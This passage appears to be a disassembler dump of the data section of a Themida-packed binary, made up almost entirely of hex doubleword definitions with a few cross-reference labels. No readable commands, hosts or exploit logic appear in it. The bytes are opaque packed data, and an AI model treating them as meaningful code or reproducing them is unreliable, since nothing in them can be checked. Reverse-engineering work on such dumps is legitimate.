9337F59h, 0A327E58h, 0A327E59h dd 392EB31Bh, 3F1243EDh, 431849F3h, 461C3DF7h, 125E42FAh dd 14C9483Eh, 0C509EC56h, 3F1D6981h, 58301DDEh, 0C6D62294h dd 14EF124Fh, 0F4130315h, 0A25F216h, 0D32FC25h, 7D93466Fh dd 370A1561h, 22EC55CEh, 400C1D35h, 4FC6FC4Eh, 61EA43DEh dd 66E12D3Eh, 580B2139h, 0DF2AF50Ch, 63A14C87h, 80EE637h dd 40FB400Ch, 2BA164F6h, 54F16998h, 21EBh, 1C968300h, 4A4FC6B3h dd 0E42E7A71h, 29135F73h, 9DC7F78Dh, 0AEB344Fh, 1451h dd 8EDAF5E6h, 5586BA84h, 580E317Dh, 7D55020Ch, 1A257167h dd 5982DE47h, 13F6317Dh, 66908F8h, 0CC664966h, 869E9E73h dd 0B15D16DAh, 0B589498Eh, 0ECFA599h, 8EA88756h, 0EEC7759Ch dd 0C78FABF7h, 0BBABBF9Bh, 0AE560ECFh, 7B966CB8h, 0CF8D01CDh dd 809F560Eh, 0ABC183B6h, 0B5C6B1BDh, 99784FD6h, 0E6F7F18Eh dd 0C6E9940Ah, 8E79984Fh, 12B6DFB8h, 41FB1218h, 0CE1A3425h dd 4A22EC55h, 4FC6EE51h, 2C3F5510h, 4E0F49E0h, 0F46A8697h dd 384FC6EDh, 48F730D9h, 2B06418Dh, 5C80F0D3h, 0C6EE1E90h dd 2E290E4Fh, 6EEF4BE2h, 148A6677h, 184FC6EEh, 762810F9h dd 54F15069h, 1B11Ah, 0E95BB400h, 3A5975D3h, 74498E9Ch dd 0D286AF8Dh, 0E493AC86h, 9BBF9DE9h, 0EE1DFCFh, 82CE8256h dd 67CA60C9h, 9790DCF4h, 0AFF068B2h, 0D3E16AB6h, 560ED1DFh dd 9106BD93h, 0B7A7C3D4h, 75560EF1h, 64B0A99Ah, 0C19F86DBh dd 9975C198h, 667EBEB5h, 0E6BDE6FAh, 57CE4B4h, 0EDBAB27Ch dd 3F4FD6FFh, 1F3867E0h, 1F3869D3h, 483C58D3h, 1D4FC700h dd 0A2DF642h, 0C7410A56h, 0E5873291h, 93C4348Fh, 53B671BDh dd 75C196C7h, 77C39ABBh, 0A0AC90ACh, 4FC700AEh, 0A9C5A37Eh dd 4FC700B5h, 0E17E9877h, 0A26FB804h, 4519894Ch, 1FC921DCh dd 2E4A8D4Ah, 4FC77938h, 232715FCh, 4FC77933h, 43141E01h dd 44163E8Ah, 54F1DB3Fh, 3F8B6079h, 14111D04h, 36h, 1A6681AAh dd 2D796E11h, 4BF17F2h, 0B08CD88Fh, 0A0B9CF87h, 0ED61AD54h dd 0CDC18DB1h, 5F4FC6B3h, 0DBE876C0h, 0A854F115h, 0B2h dd 8FFD435Ch, 761A76FBh, 0E95BA29Ch, 8C4475D3h, 626EF640h dd 498EB8A5h, 50EF38D7h, 4E0F4995h, 5F004B97h, 2D0E3A86h dd 5B72E531h, 0EF3A030Fh, 0EC73C97h, 9992DEF8h, 0FC89FEAEh dd 0BC654C65h, 16A9EB65h, 6D5B391Ch, 56h, 8DB1FE1Fh, 0DAB4DAAFh dd 0E85B0640h, 8D4576D2h, 616DF541h, 4FC6B2BDh, 9551029h dd 0EF388456h, 3D2A001Ah, 112FD622h, 0AA80ACF0h, 0D6608B60h dd 7B6FE371h, 8DE34FC7h, 0BB95C636h, 0AB8CA36Fh, 0EB0016CBh dd 0C19F869Fh, 0C77989ADh, 0EC64CB4Fh, 1169h, 333F2500h dd 0F1000000h, 0B38D01CDh, 809F4FC6h, 678190B6h, 510C2D1Bh dd 63142905h, 65361E6Ah, 4E231C68h, 414BD408h, 0B0394D88h dd 8C02C1F1h, 54F114F7h, 0C2A8Ch, 35B2200h, 0B34E400Ch dd 33DB4FC6h, 0CD4331C7h, 0DD44EB43h, 0D0B4A62h, 567CC66Eh dd 0FEEE0F7Fh, 0DDB8FC5Eh, 0E3005EB8h, 0A0DE9C86h, 3Bh dd 7C558636h, 0B53E630h, 327334D7h, 0AB82A582h, 60BDB1BDh dd 8E6F4FC7h, 5C44B346h, 0EC005CC1h, 4FC7447Ah, 75AE57BAh dd 0B610C9D7h, 917462E6h, 6471881Bh, 2A4FBFEh, 5B930000h dd 4273D103h, 1D043F8Bh, 0F05A2B11h, 211D6981h, 5C9F523h dd 4FC6B391h, 8CB27CA3h, 0F1195380h, 5E3057h, 5BC60000h dd 3510703h, 0FC27CC29h, 1A25FC12h, 0F31A667Dh, 0AB81AD18h dd 0A38AFB8Ah, 0F16A86A7h, 754FC6B2h, 5D738944h, 0DA331611h dd 0C1EF851h, 49E63725h, 14EA471Fh, 86F650EAh, 5268815Ah dd 53CC3581h, 87E52EEh, 2C4FC6B3h, 81132905h, 60F1B67h dd 7D5586BCh, 3336E531h, 0CC000000h, 55D1035Bh, 66815A86h dd 0DE38111Ah, 0C6B31D96h, 362A0B4Fh, 210861EAh, 7C558625h dd 627EE630h, 3E6CD41h, 0D24FF4Bh, 3B010DDFh, 0F1B6781h dd 0E796BC06h, 0A79C3B3h, 134F0955h, 5AE53122h, 382A2B07h dd 1C3324ECh, 322A48D0h, 0B44C420Eh, 77E085CBh, 360B1460h dd 0B60D43CFh, 60561A46h, 0D485CBB4h, 5E74E12Dh, 5AA35C10h dd 63BC7BBCh, 0A906C408h, 8180A947h, 0F4509C4Eh, 0DD2EDF8Bh dd 0AC8F018Fh, 69CD69B5h, 0B3C500C6h, 0BB07DB50h, 0A99DB18Dh dd 8B85CC04h, 50B905DAh, 52083BC6h, 322D2E06h, 0CC043A31h dd 2F0DF485h, 263D5306h, 11F833DAh, 3A303105h, 4B0235EEh dd 4E2444FFh, 5E7ECC77h, 0DA4FDC45h, 0BA9D949Dh, 99BF5BA7h dd 0C10DC53Ah, 0C580F40h, 4500730h, 0F34CE63Bh, 0E5597549h dd 4785CC70h, 71574723h, 3AD585CCh, 11E447D3h, 2B9B7A98h dd 400B570Ah, 24FD491Fh, 44924D0Ah, 0FDD3279Dh, 16DF56B1h dd 4D0E46DFh, 6EEF4995h, 0EF037879h, 776385CBh, 0CBEF0373h dd 4A043185h, 45DC45FEh, 51D637E9h, 52B74F63h, 73C64EB7h dd 0B7AB20E3h, 71699A6Bh, 69180B25h, 5FD42F63h, 8DBE3F8Bh dd 0AEAF89D5h, 0EBCF6DB9h, 0CBB36FDFh, 0D862BD85h, 5C01260h dd 4F8EDA90h, 1514E041h, 0B9F2BB12h, 52B98BBBh, 8DBB529Fh dd 0CC66CDC1h, 76C05F85h, 1D6981D0h, 7E558621h, 9551132h dd 863F092Dh, 70687E55h, 0DF461B24h, 0FE31FD64h, 231B273Dh dd 965A86D7h, 4FC6B320h, 3321ED14h, 57F119A0h, 0E02C3F18h dd 2BD956h, 5B6D0000h, 8658D2E8h, 0C6B2F16Ah, 4AD43B4Fh dd 20965A86h, 144FC6B3h, 5BE43023h, 47131F06h, 18648155h dd 3FBC060Eh, 2Fh, 0D2E85BD3h, 965A8658h, 4FC6B320h, 3921ED14h dd 0C6B33E35h, 915EC4Fh, 64813C86h, 550B2C18h, 6172D09h dd 74EA06DAh, 0B84FC6B3h, 9687BD59h, 4FC6BCDAh, 0FCFC1409h dd 0EFC8FFFFh, 9277B0FCh, 1C96BE88h, 1F4FC6B3h, 0F4B0537h dd 9B7F9DEEh, 0E630B930h, 91495F79h, 101B677Bh, 0F257D039h dd 7AD42D1Bh, 49E978B8h, 5CF84DE9h, 4FC6BBEAh, 46BB1A70h dd 520E4692h, 0FA62156Eh, 30273060h, 0C6DF3224h, 131F024Fh dd 5A758B42h, 0F63DF70Eh, 48F42F45h, 20A92237h, 0EC170D17h dd 0A0541056h, 0DE96A022h dword_59EA28 dd 0D911231h, 0CC57A3B8h, 0DF68B4ABh, 64D93C92h, 4227206Ch ; DATA XREF: Themida_:0055E5A1o dd 7D587EEBh, 47747C07h, 2310797h, 969F0000h, 4FC6B31Dh dd 0E5597549h, 474FC6B2h, 59EB4EE8h, 6E492543h, 0E0498EBDh dd 0B146077h, 3465CF36h, 4F3F0B1Ch, 0DD560EC1h, 3F60EB42h dd 3351DA26h, 5C225ECAh, 4925B9EAh, 560F4C55h, 45D138D7h dd 36F13D18h, 698161E3h, 0E63F221Dh, 5DF1297Ah, 79307EFh dd 6C1B2F2Bh, 0CA4FD76Ch, 0CAC8C767h, 0E08BCCBEh, 0DC07Dh dd 0DD293B00h, 0DF2B2273h, 0E02C2475h, 0E32F2778h, 0E32F2879h dd 5FE4EA79h, 43143C88h, 491A428Eh, 4D0E4692h, 8B0F4995h dd 0D01B8B5Fh, 0BA195614h, 53698178h, 10F9327Eh, 786A4BF9h dd 3F5DE22Ch, 2AF54116h, 44F43BD7h, 7ED6802Ah dword_59EB00 dd 778E488Eh, 65D9F5C9h, 0C74FC6BDh, 0BA96CE68h, 4988C873h ; DATA XREF: Themida_:005577A0o dd 0D1EA56B9h, 0BC9DCB17h, 78D15AA6h, 0EFE9BA9Eh, 0B89C12DEh dd 71905614h, 791F7B96h, 0E63F8A3Fh, 7288617Ah, 360B1460h dd 5DFA43CFh, 56EE3985h, 26216D65h, 40F743h, 865B7CE8h dd 0FE18F13Ah, 5FD18A66h, 6FDB4FDDh, 0CD9FEB5Bh, 3FE6494Fh dd 0B8F95EEFh, 2F0E59CCh, 0D05h, 38206C80h, 3A226E67h dd 39236F69h, 3A226E68h, 3A226E69h, 491EA32Bh, 4F0253FDh dd 53085903h, 560C4D07h, 224E520Ah, 14D1584Eh, 0B5F9DC56h dd 221D6981h, 0EA95297Ah, 7D90993h, 6B317033h, 78C26BFAh dd 0FB697FC1h, 8F04E0EFh, 49F30E49h, 3EF64218h, 0E6BF0122h dd 5D1A5DBDh, 0C6DE5ED1h, 0BB95C69Ah, 0D34F946Fh, 0A677A64Dh dd 9928E08Ch, 0B9584FD1h, 6AB6AA8Bh, 6BB7B1F2h, 5FABBFE0h dd 0B3FFD801h, 0C0859178h, 93B1C779h, 0C7B793A7h, 654FCD87h dd 4F0470CAh, 9749956Bh, 0E25DA9BEh, 926DB37Fh, 0F0E4E184h dd 8273BCCAh, 0C55h, 68D01CD0h, 6AD21E37h, 69D31F39h, 6AD21E38h dd 6AD21E39h, 994ED3FBh, 9FB2E34Dh, 0A3B8E953h, 0A6BCDD57h dd 0B2FEE25Ah, 14D1A89Eh, 65698C56h, 221D6981h, 69D7ED4Fh dd 8E974265h, 0A38D7449h, 0A58FDBF2h, 8AA8F9h, 0E945E988h dd 0C58104Dh, 0D0277824h, 2EE7CEB6h, 5BF14BE7h, 5975D3E9h dd 498EA88Eh, 0DD29411Ah, 0F730CF51h, 0ECCE55Dh, 53647C56h dd 0ECD0777h, 230A2556h, 0FE707C28h, 2E560ECCh, 2B7770D3h dd 0DB3A9020h, 0E61D1530h, 392F5370h, 94305Bh, 81C60000h dd 700F1864h, 861E2975h, 0B320965Ah, 23144FC6h, 0EB47DE2Ah dd 1F28746Ah, 2B196580h, 3ECE40D2h, 99754B75h, 0A17EBEB5h dd 0C6BAD9CDh, 0C5B9954Fh, 674FC6BAh, 66BF62C8h, 0BC0AE1FAh dd 0CAFFDE01h, 0D763CA9Dh, 49B0BF8Bh, 0A37E498Fh, 0F680E693h dd 67D6A1CAh, 0B61h, 94BC08DCh, 96BE0AC3h, 95BF0BC5h, 96BE0AC4h dd 96BE0AC5h, 0A5BA3F87h, 0ABBEDF59h, 0AFA4F55Fh, 0B2A8F963h dd 0C6EAEE66h, 14D2B4AAh, 515D7856h, 20186481h, 563Dh dd 6481D100h, 0FA4A0F18h, 785586E2h, 40EF32Ch, 0AC639458h dd 0E451498Eh, 0A8869FEBh, 0CAF60AB1h, 27ADB84h, 7D00000Bh dd 80211B67h, 7E1F1965h, 65361E6Ah, 62331D69h, 2837216Dh dd 0F6421DA2h, 0F8441D3Eh, 4C1F40h, 7530758h, 4925494Dh dd 5614D355h, 81B2FCD7h, 0DE3F1D69h, 8E457A9h, 4FC7AE96h dd 91907B96h, 0C085916Fh, 0C47FCB9Fh, 0B671BD93h, 0C681CD89h dd 24FC2661h, 0BB6DBB6Dh, 45C36EA5h, 1344B40Fh, 0D62BF440h dd 0A8851A3Ch, 73354F1h, 0C7425343h, 913CE14Fh, 381E8FB2h dd 0FA2B071Eh, 26Eh, 49C94F94h, 6783E1F7h, 498E95A0h, 0EC626ECEh dd 7A560ED9h, 0EDA0076h, 35CD3456h, 0DA453915h, 48E7560Eh dd 9BB948E1h, 0C299420Ah, 712D45F7h, 24F26F5Bh, 11B213F0h dd 46DF92DFh, 37F03C15h, 410D3BD2h, 3F6E53FEh, 356D130h dd 313D2B41h, 3D251357h, 223E2A05h, 0A315584Eh, 0CA35DC45h dd 0BBD086D2h, 35FBB63h, 0A1EDFED7h, 0E677C3A6h, 9BBCA8F4h dd 91AE79C5h, 0AF928DD9h, 0C394BC56h, 0F273C30Fh, 0AD3962FBh dd 9F39382h, 7E6E0000h, 7C590A32h dword_59EE88 dd 81570830h, 845AFB35h, 885F0038h, 0BD05143Ch, 69D31F38h ; DATA XREF: Themida_:005628C0o dd 5BD52138h, 73DD293Ah, 6CE43022h, 36284468h, 0F65614D4h dd 6481D3DFh, 21D32C18h, 213B1FE1h, 1366DF3Bh, 0C2D1B31h dd 0E43D0652h, 403E124Ah, 0F44988F0h, 52062F0Dh, 4AE43D06h dd 1F302912h, 0F03F2F3Bh, 12ED5614h, 14F05046h, 1A3DE456h dd 2913FA46h, 964B6178h, 128014Ah, 3737763h, 315614F0h dd 36FB44CEh, 6E52EE06h, 0FA45914Dh, 41353927h, 0F35614F0h dd 0F16A020Ch, 3B4FDCE1h, 9A4F68D4h, 0A691F24Eh, 567FA4D3h dd 990DE17Fh, 9B4FCDAFh, 0E5B69A74h, 93C4A0ECh, 67B3A6BCh dd 0A39C85DCh, 0ACCB74BEh, 81CC6AB6h, 4CCCB8E8h, 9233223h dd 0CE9E0000h, 0CC89DA82h, 0D187D880h, 0D48ACB85h, 0D88FD088h dd 0DB5A48Ch, 0D983CF88h, 0CB85D188h, 0A38DD98Ah, 9C94E0F2h dd 66D8F438h, 0C65614D4h, 3B79232Fh, 4FC6B353h, 0DA927107h dd 0B0A6AA96h, 844FC6B3h, 0BBABBF9Dh, 794FC6B3h, 83B57C96h dd 88FBCF6Dh, 0A6498EA5h, 0E4FCDD8Bh, 0F5E67E98h, 0CEA58FDBh dd 0D6EA566Eh, 4A134CADh, 939F449Fh, 0D4277AD7h, 0EB59B84Fh dd 0A6F4E6CFh, 0BB62C264h, 0C852BBACh, 0BD77C397h, 9C7AC69Ch dd 0CCBCB247h, 8E54C972h, 9000008h, 0C4D0753h, 0A4B0551h dd 11520A56h, 0E4F0955h, 34230D59h, 24E098Eh, 450095Ah dd 0C580B4Ch, 135F7324h, 6569B529h, 5614D4F1h, 869EA043h dd 51D4531Dh, 0FB176917h, 0C79CFB6Fh, 2C126B4Fh, 0B21F2ABCh dd 9042131Fh, 13250C44h, 0BB8B5FFDh, 0F9498F9Ah, 5A112A16h dd 297A260Eh, 41170CE1h, 2CD72AF5h, 4C207EE5h, 560F875Ah dd 44CE37DAh, 2BF44013h, 814CAh, 0E95B8800h, 0FE5975D3h dd 30498EBCh, 0EA362B0Ch, 0EC1188Eh, 372B1C56h, 98E942EBh dd 21D4960Bh, 5AF22DD4h, 560EE3E0h, 0FE744F87h, 5B3946E1h dd 130A2h, 55863C00h, 560B2C78h, 4EE8410Ah, 150E5A11h dd 28236F62h, 0C176377h, 0E804C70h, 1E4FC6B3h, 35263703h dd 3D2E6FE9h, 7EE336F1h, 5A541844h, 0A4FC6B3h, 166C1C27h dd 88994ABFh, 0B56EBAAFh, 0B38E004Ch, 0FBD34FC6h, 0C6B657AFh dd 0A6D3C433h, 69D33AD3h, 594D213Dh, 0DB4FC75Fh, 667DDA34h dd 4783111Ah, 9B4FC75Eh, 0C2990EC5h, 0E277BE76h, 0CEB894B0h dd 984FC75Fh, 0D35FABBFh, 6DE1ED4Dh, 0BF4FC75Fh, 0E17EC960h dd 0B7A0BC08h, 82CE899Fh, 0EBFFA0ABh, 64BDA49Fh, 0FCD586CAh dd 5F6FDFEBh, 0C7BA4FC7h, 7D8EC588h, 7099788Eh, 0BCD288B7h dd 79D05BA7h, 83D99790h, 0F3E7D040h, 17CA8BA7h, 19D091CBh dd 27FE4A03h, 0CDE3551Ch, 4591466Fh, 4F0B27FAh, 8F92DC7Bh dd 5E72DA49h, 560F8CE8h, 7BB47D49h, 7C928E92h, 0E7D06C95h dd 0B501D8EEh, 0A46ED34Ch, 0AAF6EBACh, 4F85D8A1h, 0C612C8F1h dd 0D28AA47Dh, 0F778CFEh, 0C681A056h, 9C11F48Ah, 9EBF79C5h dd 6DC47FCBh, 0C387B5CBh, 4FD76098h, 90D18BA6h, 0F2A38DD9h dd 0FF9B95E1h, 5AB400D6h, 0D3E95BE4h, 0A7A25975h, 250C498Eh dd 0FC481E37h, 736A0D32h, 5B532D27h, 3B59D2E8h, 4FC6B347h dd 5DD33220h, 54F11542h, 2941h, 6481D500h, 0B74E9A4Eh dd 0B36EE06Ch, 8EE44FC6h, 0BF0BC237h, 0A7B8C995h, 0DF16A5EAh dd 0BA70FC16h, 0F14FC707h, 0FFFFC20Ch, 6981C2FFh, 0F52E7A53h dd 6929F50Ch, 8E85B1Dh, 211D0450h, 5380107Ah, 6557F119h dd 0C7D9C93Ch, 0BC566656h, 4B6Bh, 0E85B0300h, 6A8658D2h dd 4FC6B2F4h, 0C11C1172h, 0DD8FDD1Ah, 1430CF51h, 53DF2B23h dd 863C86E9h, 0F32C7855h, 7A53040Eh, 222E122Eh, 4FC6B32Ch dd 2F152100h, 3D3FBC06h, 0F1000000h, 584E5A90h, 55E0D5E2h dd 8CAA55CFh, 0BC828CB0h, 76D0E85Bh, 3D527412h, 866FBB52h dd 0C6B2F46Ah, 8E49724Fh, 16200942h, 862DF910h, 1864813Ch dd 0C9DA060Eh, 0DBDFFDE1h, 53FDB1Ah, 7A566781h, 4FC6B304h dd 27200928h, 0C6B3198Dh, 0E82B414Fh, 3C885F78h, 43141E03h dd 5B17418Dh, 4FC6BF3Dh, 0F3B0877Ah, 863BFFFFh, 0B320965Ah dd 0ED144FC6h, 0CD193421h, 122C0C63h, 0B7C58DC7h, 0C589B7C7h dd 4FC73ED1h, 0F765BC63h, 8F3748F3h, 0AD9B7649h, 45C9BD91h dd 0C46B560Fh, 76D9785Bh, 0A07AE17Ah, 1FA4FDA7h, 0BF2C1D72h dd 108AE22Ch, 57560F47h, 912EA45Fh, 0F25B39A5h, 16h, 965A868Ch dd 4FC6B320h, 0DF2B2314h, 0A24FD64h, 10Bh, 0E95BC700h dd 0EE5975D3h, 40498E98h, 0F21A83E1h, 0B9F8F0E2h, 489447F8h dd 0A2B59EEh, 55020C58h, 68042C78h, 560F4BEBh, 0FF398556h dd 6418D5Eh, 21325E27h, 362D4AD5h, 4C554925h, 38D7560Fh dd 441A56D1h, 0C2F0D681h, 91DD8E03h, 98E4F6A7h, 0BF0BDF80h dd 0FAD9F775h, 8081CD85h, 19638036h, 0DC205471h, 0B6000000h dd 52CC065Bh, 0B2F16A86h, 0D0374FC6h, 12844874h, 224FC6B3h dd 0B340363Ah, 0DF44FC6h, 86241AF4h, 0C9A7C3Ch, 211D6981h dd 677D5586h, 441D2672h, 33FF62DDh, 8D49720Ah, 17230641h dd 0D2E85B2Dh, 86107A58h, 641F661Dh, 0B7503B50h, 43B730B9h dd 65F74351h, 57F11B4Ah, 87E526Eh, 2C4CC6B5h, 41FC2905h dd 0B0000000h, 9EB9CF87h, 9970D952h, 0E55FBB8Eh, 58D2E85Bh dd 0B2F46A86h, 0D9384FC6h, 813C864Dh, 509C4E64h, 8F9B72D7h dd 423FBC06h, 0F1000000h, 0B38D01CDh, 3F9C4FC6h, 54D13D27h dd 560C39D1h, 2D17230Ah, 58D2E85Bh, 0B2F46A86h, 0CD344FC6h dd 863C8651h, 0EF91B41Dh, 0C7746BDBh, 0BD66C94Fh, 44DF14DFh dd 84BD05BFh, 0ADAA8404h, 6DA64B0h, 0FF1B3FBCh, 86D3FFFFh dd 606C7D55h, 4FC6B2EEh, 14AE33Eh, 99510E28h, 0ADA5D24Dh dd 0C080F761h, 68C10DDEh, 92A3F0FCh, 2213498Eh, 0CD53DF2Bh dd 8216D68h, 0D33D353Fh, 2F24560Eh, 243768E3h, 0A3D94FD8h dd 0AA88B560h, 31EAF56Bh, 0F2CE5B39h, 0ECB68DEh, 0C965CC56h dd 2C5Ch, 0E95BF200h, 825975D3h, 0EC498E9Eh, 0F872FA45h dd 6F560EDEh, 3B1C8C47h, 0F54CD723h, 41A83B19h, 0C7DB5B39h dd 91000000h, 0CC66B2A8h, 53698172h, 51DA337Fh, 32ED392Eh dd 46014D05h, 3BF54119h, 0C6B7072Fh, 2C786A4Fh, 337F5304h dd 91F21F8h, 0B6FC8F5Bh, 0CF32498Eh, 428E4871h, 42162009h dd 40363A26h, 0F4560EB7h, 7408C43h, 82F0B22h, 34805638h dd 51EF16EBh, 21F6D68h, 0B08B0062h, 0CC98A28Bh, 0D4A51D00h dd 50EC134Fh, 29226E67h, 4D6EF640h, 4D0E4692h, 99E84692h dd 1CCCBC06h, 2EBE253h, 76660000h, 7471322Ah, 796F3028h dd 7C52032Dh, 80570830h, 0B51DFC34h, 71EB3730h, 43ED3930h dd 3BF54112h, 54FC481Ah, 5E501C40h, 0CE5614DBh, 6681ABF7h dd 0B74E9A50h, 0BA06DC7Dh, 0DCF5E682h, 7E25808Eh, 0A1882A88h dd 0E95BAF95h, 854975D3h, 4FC6B311h, 2A32FC23h, 8E9ECD26h dd 77485949h, 0FCD77503h, 3E09550Dh, 32F842EBh, 423854CFh dd 25560F09h, 0FD491E37h, 6EE41F31h, 5B396B51h, 4F9B4E67h dd 0DF62C3h, 81FC0000h, 22945869h, 124FC6B3h, 162A16EFh dd 0C6B3443Ah, 1B49E84Fh, 0C6B35F4Fh, 0E832CD4Fh, 3E14455Fh dd 46D039F2h, 56F23E19h, 0B2F0666Ah, 13444FC6h, 0FE18F13Dh dd 0B7032B49h, 74664FC6h, 7B6F3028h, 1B1DF42Fh, 935705h dd 2E498EB7h, 321269D3h, 1C222E1Ah, 0D04FD424h, 5BEE606Ch dd 0E33E4FC9h, 223D1E4Ah, 223D5ED6h, 0BDF738D6h, 79C2CCBCh dd 1EC84h dd 29756700h, 2B776E2Fh, 2C787031h, 2F7B5304h, 2F7B5405h dd 2BB01605h, 2F70E834h, 1546EE3Ah, 194AF23Eh, 573BF541h dd 0DC473713h, 0EE55614h, 1A6681C4h, 99D0D52Eh, 6C4F3F0Bh dd 42DD4FC7h, 500652E9h, 5BCBACCDh, 68B25B9Fh, 0C488B4F0h dd 4FC766D2h, 0AB74C097h, 0EE51B056h, 0F562ACF8h, 82B391DDh dd 0A5A985D1h, 536981DBh, 0B5362F7Dh, 25EB2534h, 3CA523FCh dd 0AE36AEA3h, 87B0CC57h, 0ADAA84D0h, 0D6C8A4B5h, 8B4FC6CFh dd 0AE938CD8h, 0F450B958h, 87C00CC3h, 0A4C098A2h, 85D0A7Bh dd 6B94AF94h, 0B96CB26Eh, 0DA5DB976h, 0CAF6526Ah, 0B2A6F4F1h dd 2845B0CFh, 1A52DC45h, 498ED021h, 3B875A0Bh, 54F019F0h dd 39236F63h, 1D267268h, 2D881E7Fh, 0B05BA7BEh, 7AE6D6E6h dd 0F2F0076h, 41CD3456h, 0A364EEEh, 4E9150F9h, 936C806Ch dd 803C3B3Eh, 0AEB68007h, 0D1089CA2h, 61B1504Fh, 0CCB85112h dd 0E273E28Dh, 5D000000h, 60013B87h, 5EFF3985h, 45163E8Ah dd 42133D89h, 817418Dh, 0D6223DC2h, 0D8243D5Eh, 0E02C3F60h dd 0E7332778h, 2945696Dh, 5614DD35h, 86D2DCF7h, 0F42F7B55h dd 0E2E010Dh, 45764AF6h, 431A3D89h, 39D52CF7h, 88BDC531h dd 0B18DB149h, 14C2A99Dh, 0C8A48B56h, 5614C2D6h, 0C95FBB56h dd 0FCA9FA66h, 8E04FA81h, 2E7A5304h, 18415BE4h, 0E9352D43h dd 18220B5Eh, 0D5459347h, 8540BBDh, 402A401Fh, 45FE4A1Fh dd 4A0B45DCh, 0B9D34C98h, 3900F0FCh, 1F287467h, 0EF56985h dd 0D837CB01h, 1B247067h, 711CF74Dh, 7162539Fh, 19471A25h dd 10F6155h, 0E22CD3CBh, 4A209570h, 4D0556FEh, 3D194601h dd 64FA36F1h, 20362CA1h, 2B25FC48h, 102C786Ah, 0FDBAFFEFh dd 39D5CBD5h, 31104h, 63AD0000h, 1F6B8117h, 135F7324h dd 28746718h, 1D69801Fh, 0E5A7522h, 216D6215h, 115D7926h dd 236F6916h, 125E7728h, 89537419h, 4C381E3h, 57000000h dd 4BFh, 5FFB2900h, 5C241C87h, 75A068h, 24348900h, 6F8668h dd 240C8900h, 6EDA68h, 241C8900h, 4E1053BBh, 5BDE8906h dd 240C8B54h, 4C481h, 89530000h, 85989F3h, 81241C8Bh, 4C4h dd 2434FF00h, 4C48359h, 5724348Bh, 0C781E789h, 4, 8704C783h dd 0E95C243Ch, 0FFFA51C3h, 659A4ECEh, 0D19AD28Bh, 2BB8D2BDh dd 3064E2Bh, 85C650C5h, 648276Dh, 17256847h, 0B5FFCF38h dd 6482C21h, 3878858Dh, 0D0FF0648h, 858DD88Bh, 6481601h dd 1046850h, 0D3FF0000h, 276D85C6h, 68530648h, 8307F8BFh dd 2C21B5FFh, 858D0648h, 6483878h, 8589D0FFh, 64E0E34h dd 0B19BD83h, 0F000648h, 0B84h, 859D8B00h, 0E906481Fh dd 5, 0BBh, 1006800h, 0B58D0000h, 64E0E38h, 95FF5356h dd 6480F21h, 0E38B58Dh, 0F003064Eh, 1E9h, 3E804E00h, 9840F5Ch dd 80000000h, 850F2F3Eh, 0FFFFFFEDh, 8D0006C6h, 4E0E3885h dd 95FF5006h, 64E0E34h, 0CDE0FF58h, 54670855h, 514BEBD4h dd 0A543DCE4h, 9933A329h, 78496791h, 6366C01Ch, 441C7C2h dd 0FE490C86h, 0B43BC53Bh, 971A01C7h, 6C42C142h, 2A0AD0F2h dd 464432D7h, 0D971B431h, 3C41D692h, 0BA038F18h, 6E7420D7h dd 0DA7E4A49h, 1C322E19h, 0B94C509Bh, 0B52616B4h, 7765EE71h dd 1378D94Fh, 0FA1F4A2Dh, 13631D68h, 8D75B7F4h, 4E2D968Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 8307E97Dh, 858B4391h, 6482775h, 8D8983B2h dd 6480A19h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 84C35545h, 1ACB1E7Ch, 3585C741h, 0EC06480Fh, 0F000063h dd 38Bh, 9DC88000h, 242585C7h, 648h, 0C38A0000h, 1855B5FFh dd 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 571382C3h, 0AEAB1EDCh, 0D98B6650h, 20BD95FFh dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 5A310FC3h, 70B24566h, 8013E011h, 6ACBD8h dd 306195FFh, 0C08B0648h, 705058EBh, 59E5396Fh, 49FC8427h dd 0F8D0C6C2h, 0A6FC2B52h, 0B919F62Eh, 9E10D608h, 0F78F3A45h dd 940E593Ah, 60C7E3B3h, 3DA751E6h, 0E92E4306h, 0D7807252h dd 0A1E670D1h, 0FE1E39A6h, 1FF03E2Eh, 5B631D06h, 62E66392h dd 9517072h, 0D300FD4h, 5DE943B7h, 87BB515h, 13E85AF8h dd 90000000h, 343101B9h, 0A61EF131h, 0E1C4E928h, 44A8097Dh dd 858952C4h, 6481011h, 0C99D3358h, 81064823h, 7490C0h dd 0E1B52300h, 0BA06481Dh, 4C862F32h, 1237EA81h, 81664C86h dd 8B2E44C6h, 0DE938h, 0FAE30000h, 1DD30243h, 0D450BB6Eh dd 811862C4h, 8DE1B5C7h, 0D85295Fh, 8106480Fh, 0A19FA7EFh dd 298D8B35h, 81064815h, 4FCF01C7h, 0A5B5295Eh, 57064808h dd 1581B50Bh, 8F0648h, 21198D89h, 0E8810648h, 2F0E2FCh dd 0E75B523h, 0C0810648h, 2F0E2F8h, 28719D2Bh, 0F4A0648h dd 0FFFF9A85h, 8B6660FFh, 0E861F5F0h, 0Dh, 8C62F0ABh, 31505EBAh dd 8AAB1A55h, 168E0F76h, 0E8000000h, 0Ah, 357C31D9h, 799C010Ah dd 8B0F9D9Dh, 0 aZbI db '^Z│буi',0 align 4 dd 0A0F678BFh, 37EF813Bh, 0B3BA0DCh, 481D999Dh, 8932FF06h dd 482EE58Dh, 0BE665806h, 0E8816AE7h, 100F5149h, 1E218589h dd 0C0810648h, 4826DDA9h, 0E890Fh, 0F600000h, 81h, 72E38100h dd 611256E3h, 66F2F081h, 81511847h, 82625AE6h, 66505960h dd 8F4F52B9h, 3D852902h, 8106480Dh, 0F19CC4EAh, 7E867h dd 45140000h, 0D9682588h, 68E0FBEh, 2B000000h, 4826BD8Dh dd 0C2815B06h, 67F19CC0h, 12B368B9h, 850F4F70h, 0FFFFFF81h dd 9E8h, 8E919400h, 4AE4F892h, 958903D2h, 6480015h, 9026EB59h dd 0EC33B61Bh, 6E558EAFh, 6C6C6474h, 6C6C642Eh, 46218800h dd 0D25D3407h, 0CAA360A3h, 0Ch, 0 dd 6B2E900h, 0EC680000h, 0E9064E30h, 0FFFA4DABh, 4E318C68h dd 4DA1E906h, 2268FFFAh, 0E9064E32h, 0FFFA4D97h, 4E32F468h dd 4D8DE906h, 0DF68FFFAh, 0E9064E33h, 0FFFA4D83h, 4E34C068h dd 